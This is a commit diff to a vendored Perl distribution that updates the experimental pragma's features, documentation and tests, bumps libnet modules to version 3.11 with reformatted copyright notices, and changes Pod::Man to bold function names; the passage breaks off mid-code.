 use Carp qw/croak carp/;
 
 my %warnings = map { $_ => 1 } grep { /^experimental::/ } keys %warnings::Offsets;
@@ -21,6 +21,7 @@
 	array_base      => '5',
 	autoderef       => '5.14.0',
 	bitwise         => '5.22.0',
+	const_attr      => '5.22.0',
 	current_sub     => '5.16.0',
 	evalbytes       => '5.16.0',
 	fc              => '5.16.0',
@@ -39,6 +40,7 @@
 	unicode_strings => '5.12.0',
 );
 my %max_version = (
+	autoderef       => '5.23.1',
 	lexical_topic   => '5.23.4',
 );
 
@@ -128,7 +130,7 @@
 
 =head1 VERSION
 
-version 0.016
+version 0.019
 
 =head1 SYNOPSIS
 
@@ -159,17 +161,68 @@
 
 The supported features, documented further below, are:
 
-	array_base    - allow the use of $[ to change the starting index of @array
-	autoderef     - allow push, each, keys, and other built-ins on references
-	lexical_topic - allow the use of lexical $_ via "my $_"
-	postderef     - allow the use of postfix dereferencing expressions, including
-	                in interpolating strings
-	refaliasing   - allow aliasing via \$x = \$y
-	regex_sets    - allow extended bracketed character classes in regexps
-	signatures    - allow subroutine signatures (for named arguments)
-	smartmatch    - allow the use of ~~
-	switch        - allow the use of ~~, given, and when
+=over 4
 
+=item * C<array_base> - allow the use of C<$[> to change the starting index of C<@array>.
+
+This is supported on all versions of perl.
+
+=item * C<autoderef> - allow push, each, keys, and other built-ins on references.
+
+This was added in perl 5.14.0 and removed in perl 5.23.1.
+
+=item * C<bitwise> - allow the new stringwise bit operators
+
+This was added in perl 5.22.0.
+
+=item * C<const_attr> - allow the :const attribute on subs
+
+This was added in perl 5.22.0.
+
+=item * C<lexical_topic> - allow the use of lexical C<$_> via C<my $_>.
+
+This was added in perl 5.10.0 and removed in perl 5.23.4.
+
+=item * C<lexical_subs> - allow the use of lexical subroutines.
+
+This was added in 5.18.0.
+
+=item * C<postderef> - allow the use of postfix dereferencing expressions,
+including in interpolating strings
+
+This was added in perl 5.20.0.
+
+=item * C<re_strict> - enables strict mode in regular expressions
+
+This was added in perl 5.22.0.
+
+=item * C<refaliasing> - allow aliasing via C<\$x = \$y>
+
+This was added in perl 5.22.0.
+
+=item * C<regex_sets> - allow extended bracketed character classes in regexps
+
+This was added in perl 5.18.0.
+
+=item * C<signatures> - allow subroutine signatures (for named arguments)
+
+This was added in perl 5.20.0.
+
+=item * C<smartmatch> - allow the use of C<~~>
+
+This was added in perl 5.10.0, but it should be noted there are significant
+incompatibilities between 5.10.0 and 5.10.1.
+
+=item * C<switch> - allow the use of C<~~>, given, and when
+
+This was added in perl 5.10.0.
+
+=item * C<win32_perlio> - allows the use of the :win32 IO layer.
+
+This was added on perl 5.22.0.
+
+=back
+
 =head2 Ordering matters
 
 Using this pragma to 'enable an experimental feature' is another way of saying
@@ -195,6 +248,10 @@
 Because of the nature of the features it enables, forward compatibility can not
 be guaranteed in any way.
 
+=head1 SEE ALSO
+
+L<perlexperimental|perlexperimental> contains more information about experimental features.
+
 =head1 AUTHOR
 
 Leon Timmermans <leont at cpan.org>

Modified: vendor/perl/dist/cpan/experimental/t/basic.t
===================================================================
--- vendor/perl/dist/cpan/experimental/t/basic.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/experimental/t/basic.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,8 @@
 #! perl
 
+use strict;
+use warnings;
+
 use Test::More 0.89;
 
 local $SIG{__WARN__} = sub { fail("Got unexpected warning"); diag($_[0]) };
@@ -12,31 +15,47 @@
 	1;
 END
 }
-else {
-	fail("No experimental features available on perl $]");
-}
 
 if ($] >= 5.010001) {
-	is (eval <<'END', 1, 'switch compiles') or diag $@;
-	use experimental 'switch';
-	sub bar { 1 };
-	given(1) {
-		when (\&bar) {
-			pass("bar matches 1");
+	if (eval '
+		no warnings "experimental";
+		use feature "switch";
+		if(0) { when(3) {} }
+		1;
+	') {
+		is (eval <<'END', 1, 'switch compiles') or diag $@;
+		use experimental 'switch';
+		sub bar { 1 };
+		given(1) {
+			when (\&bar) {
+				pass("bar matches 1");
+			}
+			default {
+				fail("bar matches 1");
+			}
 		}
-		default {
+		1;
+END
+	} else {
+		is (eval <<'END', 1, 'switch compiles') or diag $@;
+		use experimental 'switch';
+		sub bar { 1 };
+		given(1) {
+			whereso (\&bar) {
+				pass("bar matches 1");
+			}
 			fail("bar matches 1");
 		}
+		1;
+END
 	}
-	1;
-END
 }
 
 if ($] >= 5.010001) {
 	is (eval <<'END', 1, 'smartmatch compiles') or diag $@;
 	use experimental 'smartmatch';
-	sub bar { 1 };
-	is(1 ~~ \&bar, 1, "is 1");
+	{ package Baz; use overload "~~" => sub { 1 }; }
+	is(1 ~~ bless({}, "Baz"), 1, "is 1");
 	1;
 END
 }
@@ -53,6 +72,7 @@
 if ($] >= 5.021005) {
 	is (eval <<'END', 1, 'ref aliasing compiles') or diag $@;
 	use experimental 'refaliasing';
+	my (@a, @b);
 	\@a = \@b;
 	is(\@a, \@b, '@a and @b are the same after \@a=\@b');
 	1;

Modified: vendor/perl/dist/cpan/libnet/Makefile.PL
===================================================================
--- vendor/perl/dist/cpan/libnet/Makefile.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/libnet/Makefile.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -66,7 +66,7 @@
         ABSTRACT => 'Collection of network protocol modules',
         AUTHOR   => 'Graham Barr <gbarr at pobox.com>, Steve Hay <shay at cpan.org>',
         LICENSE  => 'perl_5',
-        VERSION  => '3.10',
+        VERSION  => '3.11',
 
         META_MERGE => {
             'meta-spec' => {

Modified: vendor/perl/dist/cpan/libnet/lib/Net/Cmd.pm
===================================================================
--- vendor/perl/dist/cpan/libnet/lib/Net/Cmd.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/libnet/lib/Net/Cmd.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,7 @@
 # Net::Cmd.pm
 #
-# Versions up to 2.29_1 Copyright (c) 1995-2006 Graham Barr <gbarr at pobox.com>.
-# All rights reserved.
-# Changes in Version 2.29_2 onwards Copyright (C) 2013-2015 Steve Hay.  All
-# rights reserved.
+# Copyright (C) 1995-2006 Graham Barr.  All rights reserved.
+# Copyright (C) 2013-2016 Steve Hay.  All rights reserved.
 # This module is free software; you can redistribute it and/or modify it under
 # the same terms as Perl itself, i.e. under the terms of either the GNU General
 # Public License or the Artistic License, as specified in the F<LICENCE> file.
@@ -28,7 +26,7 @@
   }
 }
 
-our $VERSION = "3.10";
+our $VERSION = "3.11";
 our @ISA     = qw(Exporter);
 our @EXPORT  = qw(CMD_INFO CMD_OK CMD_MORE CMD_REJECT CMD_ERROR CMD_PENDING);
 
@@ -855,17 +853,19 @@
 
 =head1 AUTHOR
 
-Graham Barr E<lt>F<gbarr at pobox.com>E<gt>
+Graham Barr E<lt>F<gbarr at pobox.com>E<gt>.
 
 Steve Hay E<lt>F<shay at cpan.org>E<gt> is now maintaining libnet as of version
-1.22_02
+1.22_02.
 
 =head1 COPYRIGHT
 
-Versions up to 2.29_1 Copyright (c) 1995-2006 Graham Barr. All rights reserved.
-Changes in Version 2.29_2 onwards Copyright (C) 2013-2014 Steve Hay.  All rights
-reserved.
+Copyright (C) 1995-2006 Graham Barr.  All rights reserved.
 
+Copyright (C) 2013-2016 Steve Hay.  All rights reserved.
+
+=head1 LICENCE
+
 This module is free software; you can redistribute it and/or modify it under the
 same terms as Perl itself, i.e. under the terms of either the GNU General Public
 License or the Artistic License, as specified in the F<LICENCE> file.

Modified: vendor/perl/dist/cpan/libnet/lib/Net/Config.pm
===================================================================
--- vendor/perl/dist/cpan/libnet/lib/Net/Config.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/libnet/lib/Net/Config.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,7 @@
 # Net::Config.pm
 #
-# Versions up to 1.11 Copyright (c) 2000 Graham Barr <gbarr at pobox.com>.
-# All rights reserved.
-# Changes in Version 1.11_01 onwards Copyright (C) 2013-2014 Steve Hay.  All
-# rights reserved.
+# Copyright (C) 2000 Graham Barr.  All rights reserved.
+# Copyright (C) 2013-2014, 2016 Steve Hay.  All rights reserved.
 # This module is free software; you can redistribute it and/or modify it under
 # the same terms as Perl itself, i.e. under the terms of either the GNU General
 # Public License or the Artistic License, as specified in the F<LICENCE> file.
@@ -20,7 +18,7 @@
 
 our @EXPORT  = qw(%NetConfig);
 our @ISA     = qw(Net::LocalCfg Exporter);
-our $VERSION = "3.10";
+our $VERSION = "3.11";
 
 our($CONFIGURE, $LIBNET_CFG);
 
@@ -327,17 +325,19 @@
 
 =head1 AUTHOR
 
-Graham Barr E<lt>F<gbarr at pobox.com>E<gt>
+Graham Barr E<lt>F<gbarr at pobox.com>E<gt>.
 
 Steve Hay E<lt>F<shay at cpan.org>E<gt> is now maintaining libnet as of version
-1.22_02
+1.22_02.
 
 =head1 COPYRIGHT
 
-Versions up to 1.11 Copyright (c) 1998-2011 Graham Barr. All rights reserved.
-Changes in Version 1.11_01 onwards Copyright (C) 2013-2014 Steve Hay.  All
-rights reserved.
+Copyright (C) 1998-2011 Graham Barr.  All rights reserved.
 
+Copyright (C) 2013-2014, 2016 Steve Hay.  All rights reserved.
+
+=head1 LICENCE
+
 This module is free software; you can redistribute it and/or modify it under the
 same terms as Perl itself, i.e. under the terms of either the GNU General Public
 License or the Artistic License, as specified in the F<LICENCE> file.

Modified: vendor/perl/dist/cpan/libnet/lib/Net/Domain.pm
===================================================================
--- vendor/perl/dist/cpan/libnet/lib/Net/Domain.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/libnet/lib/Net/Domain.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,7 @@
 # Net::Domain.pm
 #
-# Versions up to 2.21 Copyright (c) 1995-1998 Graham Barr <gbarr at pobox.com>.
-# All rights reserved.
-# Changes in Version 2.22 onwards Copyright (C) 2013-2014 Steve Hay.  All rights
-# reserved.
+# Copyright (C) 1995-1998 Graham Barr.  All rights reserved.
+# Copyright (C) 2013-2014 Steve Hay.  All rights reserved.
 # This module is free software; you can redistribute it and/or modify it under
 # the same terms as Perl itself, i.e. under the terms of either the GNU General
 # Public License or the Artistic License, as specified in the F<LICENCE> file.
@@ -21,7 +19,7 @@
 
 our @ISA       = qw(Exporter);
 our @EXPORT_OK = qw(hostname hostdomain hostfqdn domainname);
-our $VERSION = "3.10";
+our $VERSION = "3.11";
 
 my ($host, $domain, $fqdn) = (undef, undef, undef);
 
@@ -346,17 +344,20 @@
 =head1 AUTHOR
 
 Graham Barr E<lt>F<gbarr at pobox.com>E<gt>.
-Adapted from Sys::Hostname by David Sundstrom E<lt>F<sunds at asictest.sc.ti.com>E<gt>
 
+Adapted from Sys::Hostname by David Sundstrom E<lt>F<sunds at asictest.sc.ti.com>E<gt>.
+
 Steve Hay E<lt>F<shay at cpan.org>E<gt> is now maintaining libnet as of version
-1.22_02
+1.22_02.
 
 =head1 COPYRIGHT
 
-Versions up to 2.21 Copyright (c) 1995-1998 Graham Barr. All rights reserved.
-Changes in Version 2.22 onwards Copyright (C) 2013-2014 Steve Hay.  All rights
-reserved.
+Copyright (C) 1995-1998 Graham Barr.  All rights reserved.
 
+Copyright (C) 2013-2014 Steve Hay.  All rights reserved.
+
+=head1 LICENCE
+
 This module is free software; you can redistribute it and/or modify it under the
 same terms as Perl itself, i.e. under the terms of either the GNU General Public
 License or the Artistic License, as specified in the F<LICENCE> file.

Modified: vendor/perl/dist/cpan/libnet/lib/Net/FTP/A.pm
===================================================================
--- vendor/perl/dist/cpan/libnet/lib/Net/FTP/A.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/libnet/lib/Net/FTP/A.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,7 +13,7 @@
 use Net::FTP::dataconn;
 
 our @ISA     = qw(Net::FTP::dataconn);
-our $VERSION = "3.10";
+our $VERSION = "3.11";
 
 our $buf;
 

Modified: vendor/perl/dist/cpan/libnet/lib/Net/FTP/E.pm
===================================================================
--- vendor/perl/dist/cpan/libnet/lib/Net/FTP/E.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/libnet/lib/Net/FTP/E.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,6 +8,6 @@
 use Net::FTP::I;
 
 our @ISA = qw(Net::FTP::I);
-our $VERSION = "3.10";
+our $VERSION = "3.11";
 
 1;

Modified: vendor/perl/dist/cpan/libnet/lib/Net/FTP/I.pm
===================================================================
--- vendor/perl/dist/cpan/libnet/lib/Net/FTP/I.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/libnet/lib/Net/FTP/I.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,7 +13,7 @@
 use Net::FTP::dataconn;
 
 our @ISA     = qw(Net::FTP::dataconn);
-our $VERSION = "3.10";
+our $VERSION = "3.11";
 
 our $buf;
 

Modified: vendor/perl/dist/cpan/libnet/lib/Net/FTP/L.pm
===================================================================
--- vendor/perl/dist/cpan/libnet/lib/Net/FTP/L.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/libnet/lib/Net/FTP/L.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,6 +8,6 @@
 use Net::FTP::I;
 
 our @ISA = qw(Net::FTP::I);
-our $VERSION = "3.10";
+our $VERSION = "3.11";
 
 1;

Modified: vendor/perl/dist/cpan/libnet/lib/Net/FTP/dataconn.pm
===================================================================
--- vendor/perl/dist/cpan/libnet/lib/Net/FTP/dataconn.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/libnet/lib/Net/FTP/dataconn.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,7 +13,7 @@
 use Errno;
 use Net::Cmd;
 
-our $VERSION = '3.10';
+our $VERSION = '3.11';
 
 $Net::FTP::IOCLASS or die "please load Net::FTP before Net::FTP::dataconn";
 our @ISA = $Net::FTP::IOCLASS;

Modified: vendor/perl/dist/cpan/libnet/lib/Net/FTP.pm
===================================================================
--- vendor/perl/dist/cpan/libnet/lib/Net/FTP.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/libnet/lib/Net/FTP.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,7 @@
 # Net::FTP.pm
 #
-# Versions up to 2.77_2 Copyright (c) 1995-2004 Graham Barr <gbarr at pobox.com>.
-# All rights reserved.
-# Changes in Version 2.77_3 onwards Copyright (C) 2013-2015 Steve Hay.  All
-# rights reserved.
+# Copyright (C) 1995-2004 Graham Barr.  All rights reserved.
+# Copyright (C) 2013-2017 Steve Hay.  All rights reserved.
 # This module is free software; you can redistribute it and/or modify it under
 # the same terms as Perl itself, i.e. under the terms of either the GNU General
 # Public License or the Artistic License, as specified in the F<LICENCE> file.
@@ -25,7 +23,7 @@
 use Socket;
 use Time::Local;
 
-our $VERSION = '3.10';
+our $VERSION = '3.11';
 
 our $IOCLASS;
 my $family_key;
@@ -670,7 +668,7 @@
 
   # Try to delete the contents
   # Get a list of all the files in the directory, excluding the current and parent directories
-  my @filelist = map { /^(?:\S+;)+ (.+)$/ ? ($1) : () } grep { !/^(?:\S+;)*type=[cp]dir;/ } $ftp->_list_cmd("MLSD", $dir);
+  my @filelist = map { /^(?:\S+;)+ (.+)$/ ? ($1) : () } grep { !/^(?:\S+;)*type=[cp]dir;/i } $ftp->_list_cmd("MLSD", $dir);
 
   # Fallback to using the less well-defined NLST command if MLSD fails
   @filelist = grep { !/^\.{1,2}$/ } $ftp->ls($dir)
@@ -1998,10 +1996,10 @@
 
 =head1 AUTHOR
 
-Graham Barr E<lt>F<gbarr at pobox.com>E<gt>
+Graham Barr E<lt>F<gbarr at pobox.com>E<gt>.
 
 Steve Hay E<lt>F<shay at cpan.org>E<gt> is now maintaining libnet as of version
-1.22_02
+1.22_02.
 
 =head1 SEE ALSO
 
@@ -2038,10 +2036,12 @@
 
 =head1 COPYRIGHT
 
-Versions up to 2.77_2 Copyright (c) 1995-2004 Graham Barr. All rights reserved.
-Changes in Version 2.77_3 onwards Copyright (C) 2013-2015 Steve Hay.  All rights
-reserved.
+Copyright (C) 1995-2004 Graham Barr.  All rights reserved.
 
+Copyright (C) 2013-2017 Steve Hay.  All rights reserved.
+
+=head1 LICENCE
+
 This module is free software; you can redistribute it and/or modify it under the
 same terms as Perl itself, i.e. under the terms of either the GNU General Public
 License or the Artistic License, as specified in the F<LICENCE> file.

Modified: vendor/perl/dist/cpan/libnet/lib/Net/NNTP.pm
===================================================================
--- vendor/perl/dist/cpan/libnet/lib/Net/NNTP.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/libnet/lib/Net/NNTP.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,7 @@
 # Net::NNTP.pm
 #
-# Versions up to 2.24_1 Copyright (c) 1995-1997 Graham Barr <gbarr at pobox.com>.
-# All rights reserved.
-# Changes in Version 2.25 onwards Copyright (C) 2013-2015 Steve Hay.  All rights
-# reserved.
+# Copyright (C) 1995-1997 Graham Barr.  All rights reserved.
+# Copyright (C) 2013-2016 Steve Hay.  All rights reserved.
 # This module is free software; you can redistribute it and/or modify it under
 # the same terms as Perl itself, i.e. under the terms of either the GNU General
 # Public License or the Artistic License, as specified in the F<LICENCE> file.
@@ -21,7 +19,7 @@
 use Net::Config;
 use Time::Local;
 
-our $VERSION = "3.10";
+our $VERSION = "3.11";
 
 # Code for detecting if we can use SSL
 my $ssl_class = eval {
@@ -1284,17 +1282,19 @@
 
 =head1 AUTHOR
 
-Graham Barr E<lt>F<gbarr at pobox.com>E<gt>
+Graham Barr E<lt>F<gbarr at pobox.com>E<gt>.
 
 Steve Hay E<lt>F<shay at cpan.org>E<gt> is now maintaining libnet as of version
-1.22_02
+1.22_02.
 
 =head1 COPYRIGHT
 
-Versions up to 2.24_1 Copyright (c) 1995-1997 Graham Barr. All rights reserved.
-Changes in Version 2.25 onwards Copyright (C) 2013-2015 Steve Hay.  All rights
-reserved.
+Copyright (C) 1995-1997 Graham Barr.  All rights reserved.
 
+Copyright (C) 2013-2016 Steve Hay.  All rights reserved.
+
+=head1 LICENCE
+
 This module is free software; you can redistribute it and/or modify it under the
 same terms as Perl itself, i.e. under the terms of either the GNU General Public
 License or the Artistic License, as specified in the F<LICENCE> file.

Modified: vendor/perl/dist/cpan/libnet/lib/Net/Netrc.pm
===================================================================
--- vendor/perl/dist/cpan/libnet/lib/Net/Netrc.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/libnet/lib/Net/Netrc.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,7 @@
 # Net::Netrc.pm
 #
-# Versions up to 2.13 Copyright (c) 1995-1998 Graham Barr <gbarr at pobox.com>.
-# All rights reserved.
-# Changes in Version 2.13_01 onwards Copyright (C) 2013-2014 Steve Hay.  All
-# rights reserved.
+# Copyright (C) 1995-1998 Graham Barr.  All rights reserved.
+# Copyright (C) 2013-2014 Steve Hay.  All rights reserved.
 # This module is free software; you can redistribute it and/or modify it under
 # the same terms as Perl itself, i.e. under the terms of either the GNU General
 # Public License or the Artistic License, as specified in the F<LICENCE> file.
@@ -18,7 +16,7 @@
 use Carp;
 use FileHandle;
 
-our $VERSION = "3.10";
+our $VERSION = "3.11";
 
 our $TESTING;
 
@@ -324,10 +322,10 @@
 
 =head1 AUTHOR
 
-Graham Barr E<lt>F<gbarr at pobox.com>E<gt>
+Graham Barr E<lt>F<gbarr at pobox.com>E<gt>.
 
 Steve Hay E<lt>F<shay at cpan.org>E<gt> is now maintaining libnet as of version
-1.22_02
+1.22_02.
 
 =head1 SEE ALSO
 
@@ -336,10 +334,12 @@
 
 =head1 COPYRIGHT
 
-Versions up to 2.13 Copyright (c) 1995-1998 Graham Barr. All rights reserved.
-Changes in Version 2.13_01 onwards Copyright (C) 2013-2014 Steve Hay.  All
-rights reserved.
+Copyright (C) 1995-1998 Graham Barr.  All rights reserved.
 
+Copyright (C) 2013-2014 Steve Hay.  All rights reserved.
+
+=head1 LICENCE
+
 This module is free software; you can redistribute it and/or modify it under the
 same terms as Perl itself, i.e. under the terms of either the GNU General Public
 License or the Artistic License, as specified in the F<LICENCE> file.

Modified: vendor/perl/dist/cpan/libnet/lib/Net/POP3.pm
===================================================================
--- vendor/perl/dist/cpan/libnet/lib/Net/POP3.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/libnet/lib/Net/POP3.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,7 @@
 # Net::POP3.pm
 #
-# Versions up to 2.29 Copyright (c) 1995-2004 Graham Barr <gbarr at pobox.com>.
-# All rights reserved.
-# Changes in Version 2.29_01 onwards Copyright (C) 2013-2015 Steve Hay.  All
-# rights reserved.
+# Copyright (C) 1995-2004 Graham Barr.  All rights reserved.
+# Copyright (C) 2013-2016 Steve Hay.  All rights reserved.
 # This module is free software; you can redistribute it and/or modify it under
 # the same terms as Perl itself, i.e. under the terms of either the GNU General
 # Public License or the Artistic License, as specified in the F<LICENCE> file.
@@ -20,7 +18,7 @@
 use Net::Cmd;
 use Net::Config;
 
-our $VERSION = "3.10";
+our $VERSION = "3.11";
 
 # Code for detecting if we can use SSL
 my $ssl_class = eval {
@@ -845,17 +843,19 @@
 
 =head1 AUTHOR
 
-Graham Barr E<lt>F<gbarr at pobox.com>E<gt>
+Graham Barr E<lt>F<gbarr at pobox.com>E<gt>.
 
 Steve Hay E<lt>F<shay at cpan.org>E<gt> is now maintaining libnet as of version
-1.22_02
+1.22_02.
 
 =head1 COPYRIGHT
 
-Versions up to 2.29 Copyright (c) 1995-2004 Graham Barr. All rights reserved.
-Changes in Version 2.29_01 onwards Copyright (C) 2013-2015 Steve Hay.  All
-rights reserved.
+Copyright (C) 1995-2004 Graham Barr.  All rights reserved.
 
+Copyright (C) 2013-2016 Steve Hay.  All rights reserved.
+
+=head1 LICENCE
+
 This module is free software; you can redistribute it and/or modify it under the
 same terms as Perl itself, i.e. under the terms of either the GNU General Public
 License or the Artistic License, as specified in the F<LICENCE> file.

Modified: vendor/perl/dist/cpan/libnet/lib/Net/SMTP.pm
===================================================================
--- vendor/perl/dist/cpan/libnet/lib/Net/SMTP.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/libnet/lib/Net/SMTP.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,7 @@
 # Net::SMTP.pm
 #
-# Versions up to 2.31_1 Copyright (c) 1995-2004 Graham Barr <gbarr at pobox.com>.
-# All rights reserved.
-# Changes in Version 2.31_2 onwards Copyright (C) 2013-2015 Steve Hay.  All
-# rights reserved.
+# Copyright (C) 1995-2004 Graham Barr.  All rights reserved.
+# Copyright (C) 2013-2016 Steve Hay.  All rights reserved.
 # This module is free software; you can redistribute it and/or modify it under
 # the same terms as Perl itself, i.e. under the terms of either the GNU General
 # Public License or the Artistic License, as specified in the F<LICENCE> file.
@@ -21,7 +19,7 @@
 use Net::Config;
 use Socket;
 
-our $VERSION = "3.10";
+our $VERSION = "3.11";
 
 # Code for detecting if we can use SSL
 my $ssl_class = eval {
@@ -1028,17 +1026,19 @@
 
 =head1 AUTHOR
 
-Graham Barr E<lt>F<gbarr at pobox.com>E<gt>
+Graham Barr E<lt>F<gbarr at pobox.com>E<gt>.
 
 Steve Hay E<lt>F<shay at cpan.org>E<gt> is now maintaining libnet as of version
-1.22_02
+1.22_02.
 
 =head1 COPYRIGHT
 
-Versions up to 2.31_1 Copyright (c) 1995-2004 Graham Barr. All rights reserved.
-Changes in Version 2.31_2 onwards Copyright (C) 2013-2015 Steve Hay.  All rights
-reserved.
+Copyright (C) 1995-2004 Graham Barr.  All rights reserved.
 
+Copyright (C) 2013-2016 Steve Hay.  All rights reserved.
+
+=head1 LICENCE
+
 This module is free software; you can redistribute it and/or modify it under the
 same terms as Perl itself, i.e. under the terms of either the GNU General Public
 License or the Artistic License, as specified in the F<LICENCE> file.

Modified: vendor/perl/dist/cpan/libnet/lib/Net/Time.pm
===================================================================
--- vendor/perl/dist/cpan/libnet/lib/Net/Time.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/libnet/lib/Net/Time.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,7 @@
 # Net::Time.pm
 #
-# Versions up to 2.10 Copyright (c) 1995-2004 Graham Barr <gbarr at pobox.com>.
-# All rights reserved.
-# Changes in Version 2.11 onwards Copyright (C) 2014 Steve Hay.  All rights
-# reserved.
+# Copyright (C) 1995-2004 Graham Barr.  All rights reserved.
+# Copyright (C) 2014 Steve Hay.  All rights reserved.
 # This module is free software; you can redistribute it and/or modify it under
 # the same terms as Perl itself, i.e. under the terms of either the GNU General
 # Public License or the Artistic License, as specified in the F<LICENCE> file.
@@ -24,7 +22,7 @@
 our @ISA       = qw(Exporter);
 our @EXPORT_OK = qw(inet_time inet_daytime);
 
-our $VERSION = "3.10";
+our $VERSION = "3.11";
 
 our $TIMEOUT = 120;
 
@@ -146,17 +144,19 @@
 
 =head1 AUTHOR
 
-Graham Barr E<lt>F<gbarr at pobox.com>E<gt>
+Graham Barr E<lt>F<gbarr at pobox.com>E<gt>.
 
 Steve Hay E<lt>F<shay at cpan.org>E<gt> is now maintaining libnet as of version
-1.22_02
+1.22_02.
 
 =head1 COPYRIGHT
 
-Versions up to 2.11 Copyright (c) 1995-2004 Graham Barr. All rights reserved.
-Changes in Version 2.11 onwards Copyright (C) 2014 Steve Hay.  All rights
-reserved.
+Copyright (C) 1995-2004 Graham Barr.  All rights reserved.
 
+Copyright (C) 2014 Steve Hay.  All rights reserved.
+
+=head1 LICENCE
+
 This module is free software; you can redistribute it and/or modify it under the
 same terms as Perl itself, i.e. under the terms of either the GNU General Public
 License or the Artistic License, as specified in the F<LICENCE> file.

Modified: vendor/perl/dist/cpan/libnet/lib/Net/libnetFAQ.pod
===================================================================
--- vendor/perl/dist/cpan/libnet/lib/Net/libnetFAQ.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/libnet/lib/Net/libnetFAQ.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -20,11 +20,12 @@
 
 =head1 Author and Copyright Information
 
-Copyright (c) 1997-1998 Graham Barr. All rights reserved.
+Copyright (C) 1997-1998 Graham Barr.  All rights reserved.
 This document is free; you can redistribute it and/or modify it
 under the terms of the Artistic License.
 
-Currently maintained by Steve Hay <shay at cpan.org>.
+Steve Hay E<lt>F<shay at cpan.org>E<gt> is now maintaining libnet as of version
+1.22_02.
 
 =head2 Disclaimer
 
@@ -297,6 +298,4 @@
 
 =head1 AUTHOR AND COPYRIGHT
 
-Copyright (c) 1997 Graham Barr.
-All rights reserved.
-
+Copyright (C) 1997-1998 Graham Barr.  All rights reserved.

Modified: vendor/perl/dist/cpan/podlators/lib/Pod/Man.pm
===================================================================
--- vendor/perl/dist/cpan/podlators/lib/Pod/Man.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/podlators/lib/Pod/Man.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,7 +14,7 @@
 # Written by Russ Allbery <rra at cpan.org>
 # Substantial contributions by Sean Burke <sburke at cpan.org>
 # Copyright 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009,
-#     2010, 2012, 2013, 2014, 2015, 2016 Russ Allbery <rra at cpan.org>
+#     2010, 2012, 2013, 2014, 2015, 2016, 2017 Russ Allbery <rra at cpan.org>
 #
 # This program is free software; you may redistribute it and/or modify it
 # under the same terms as Perl itself.
@@ -43,7 +43,7 @@
 
 @ISA = qw(Pod::Simple);
 
-$VERSION = '4.09';
+$VERSION = '4.10';
 
 # Set the debugging level.  If someone has inserted a debug function into this
 # class already, use that.  Otherwise, use any Pod::Simple debug function
@@ -535,8 +535,8 @@
     # strings inserted around things that we've made small-caps if later
     # transforms should work on those strings.
 
-    # Italicize functions in the form func(), including functions that are in
-    # all capitals, but don't italize if there's anything between the parens.
+    # Embolden functions in the form func(), including functions that are in
+    # all capitals, but don't embolden if there's anything between the parens.
     # The function must start with an alphabetic character or underscore and
     # then consist of word characters or colons.
     if ($$self{MAGIC_FUNC}) {
@@ -544,11 +544,11 @@
             ( \b | \\s-1 )
             ( [A-Za-z_] ([:\w] | \\s-?[01])+ \(\) )
         } {
-            $1 . '\f(IS' . $2 . '\f(IE'
+            $1 . '\f(BS' . $2 . '\f(BE'
         }egx;
     }
 
-    # Change references to manual pages to put the page name in italics but
+    # Change references to manual pages to put the page name in bold but
     # the number in the regular font, with a thin space between the name and
     # the number.  Only recognize func(n) where func starts with an alphabetic
     # character or underscore and contains only word characters, periods (for
@@ -562,7 +562,7 @@
             ( [A-Za-z_] (?:[.:\w] | \\- | \\s-?[01])+ )
             ( \( \d [a-z]* \) )
         } {
-            $1 . '\f(IS' . $2 . '\f(IE\|' . $3
+            $1 . '\f(BS' . $2 . '\f(BE\|' . $3
         }egx;
     }
 
@@ -800,13 +800,16 @@
     # has a PerlIO encoding layer set.  If it does not, we'll need to encode
     # our output before printing it (handled in the output() sub).  Wrap the
     # check in an eval to handle versions of Perl without PerlIO.
+    #
+    # PerlIO::get_layers still requires its argument be a glob, so coerce the
+    # file handle to a glob.
     $$self{ENCODE} = 0;
     if ($$self{utf8}) {
         $$self{ENCODE} = 1;
         eval {
